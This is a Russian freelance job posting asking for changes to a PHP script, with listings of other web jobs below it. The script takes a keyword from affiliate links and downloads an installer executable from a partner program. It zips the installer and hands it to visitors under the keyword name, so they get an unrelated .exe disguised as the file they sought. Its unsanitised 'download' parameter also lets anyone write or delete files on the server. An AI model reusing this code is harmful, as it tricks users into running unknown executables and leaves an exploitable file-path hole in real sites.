Описание задания: реструктуризация/модернизация (апгрейд) и редизайн информационно-образовательного сайта согласно ТЗ. Основная цель: улучшение функциональности и практичности сайта. Движок сайта: согласно исполнителю - самописанный. Мы предоставляем ТЗ в графическо-текстовом виде, согласовываем стоимость ...
Доработать PHP-скрипт.
Разместите заказ на фриланс-бирже и предложения поступят уже через несколько минут.
Имеется скрипт:
Пользователь переходит на мой сайт по ссылке с сайта партнёра, ссылка у партнёра такого рода:
domain.ru/files/kdm01&q=KLUCHEVOE+SLOVO.zip
На моём сайте ссылка данная меняется, на domain.ru/files/kdm02aojj
И данный ключ запоминается и передается на мою страницу. В итоге на моей странице есть поле "Имя файла", где написан тот ключ:
Имя файла: KLUCHEVOE SLOVO.zip
Пользователь жмет скачать, скачивается инсталлятор с сайта партнёрской программы, пакует его в зип. Переименовывает архив под ключевое слово и выдает на скачку пользователю.
---- ЗАДАНИЕ ------------------------------------------------------------------------------------------
Проблема в том, что, если человек пришел на сайт мой, то при переходе на третью страницу - ключ уже не передается.
Надо сделать так, что бы при переходе пользователя на мой сайт - ключ этот KLUCHEVOE SLOVO.zip - сохранился. И при переходе на другую страницу моего сайта, там так же можно было использовать параметр
.zip
---- СКРИПТ, КОТОРЫЙ НУЖНО ДОПОЛНИТЬ ------------------------------------------------------------------------------------------
Сам скрипт НА ГЛАВНОЙ странице имеет такой вид:
require_once('pclzip.lib.php');
$exeurl = "http://domainsarhivom.ru/file.exe"; // ссылка на файл
$param = "q"; // Параметр, в котором передается ключевик (main.php?q=key)
$filename = 'soft.exe'; // Имя файла для сохранения на сервере
$script = end(explode("/", $_SERVER['SCRIPT_NAME']));
error_reporting(0);
if (isset($_REQUEST[$param])) {
$text = str_replace(array("kdm02", ".zip", ".rar"), "", strtolower($_REQUEST[$param]));
SetCookie("keyword",$text);
header("Location: /files/kdm02aojj");
} else {
if (isset($_COOKIE['keyword'])) {
$text = @$_COOKIE['keyword'];
} else {
$text = "File";
SetCookie("keyword",$text);
}
}
header('Content-Type: text/html; charset=windows-1251');
$script = end(explode("/", $_SERVER['SCRIPT_NAME']));
if (isset($_REQUEST['download'])) {
$download = str_replace(array('"',"'"), "", $_REQUEST['download']);
$file = file_get_contents($exeurl);
fwrite(fopen($download.".exe", "w+"), $file);
$aname = $download.'.zip';
$archive = new PclZip($aname);
$archive->add($download.".exe");
$archive->add("ReadMe.txt");
unlink($download.".exe");
if (isset($_SERVER['HTTP_USER_AGENT']) and strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE')) {
Header('Content-Type: application/force-download');
} else {
Header('Content-Type: application/octet-stream');
}
Header('Content-disposition: attachment; filename="' . $aname.'"');
header('Content-Description: File Transfer');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
Header('Content-Length: ' . filesize($aname));
readfile($aname);
unlink($aname);
exit();
}
?>
Заявки фрилансеров
Похожие заказы
- Веб-программирование1 исполнительЗакрыт13 лет назад
Необходимо на моем сайте( наверное написать скрипт) для реализовать скачивание полно-размерных фотографий посредством отправки смс. Могу дать ссылку на сайт, где сделано так как мне нужно. Скажите сколько эта работа займет времени и сколько ...
Веб-программирование1 исполнительЗакрыт13 лет назадТребуется создать простую доску объявлений, придержваясь идеологии ООП. По требованиям: Размещение объявления без регистрации (указывая емайл), с регстрацией. Панели управления для пользователя, модератора, админстратора. Возможность из админки менять дизайн (по сути должен работать ...
Веб-программирование2 заявкиЗакрыт13 лет назадДобрый день! Нужен человек который умеет создавать обычные сайты с шаблонов WP, Joomla! Нужно найти шаблон-русифицировать и настроить под нужды моего бизнеса! Желательно не дорого! Ищу ответственного человека! Желательно с Украины! ...
Веб-программирование6 заявокЗакрыт13 лет назад- $70
Сайт chelovek-brend.ru, он действующий, хочу перевести его на джумла, с чуть переделанным дизайном. Сразу сообщаем, что работаем без предоплат. Работа поетапно, показываете какойто результат — оплата. Работаем именно в таком русле. Пишите сразу ...
Веб-программирование1 исполнительЗавершен13 лет назад Есть 2 IP: 1) 93.116.4.87 2) 93.116.4.113 Ip динамические. Необходимо определить выходили ли через эти IP с одного компа или же с разных. То есть нужно узнать один ...
Веб-программирование3 заявкиЗакрыт13 лет назадТребуется разработать серию модулей для DataLife Engine согласно техническому заданию. Детали выбранному исполнителю.
Веб-программирование1 заявкаЗакрыт13 лет назад- $5000
Здравствуйте. Требуется в короткие сроки создать сайт типа социальной сети. Подробное ТЗ имеется, графика тоже. Через 2 недели необходимо чтобы уже работала регистрация пользователей и 2 модуля. Бюджет будет оговорен ...
Веб-программирование2 исполнителяЗавершен13 лет назад - $1000
Задание только для профессионалов со знанием UMI на долгосрочные отношения. О проекте: 1. Требуется сделать редизайн уже работающего сайта. 2. Доработать существующий функционал и доработать новые модули. ...
Веб-программирование1 заявкаЗакрыт13 лет назад http://dom-a-dom.ru/categories/10 Требуется спарсить данный раздел у конкурентов и разместить его здесь на нашем сайте: http://akmmos.ru/index.php?page=shop.browse&category_id=28&option=com_virtuemart&Itemid=54 1. Сделать каждую кухню товаром, добавив ПОЛЕ для внесения: цены и описания ...
Веб-программирование2 заявкиЗакрыт13 лет назад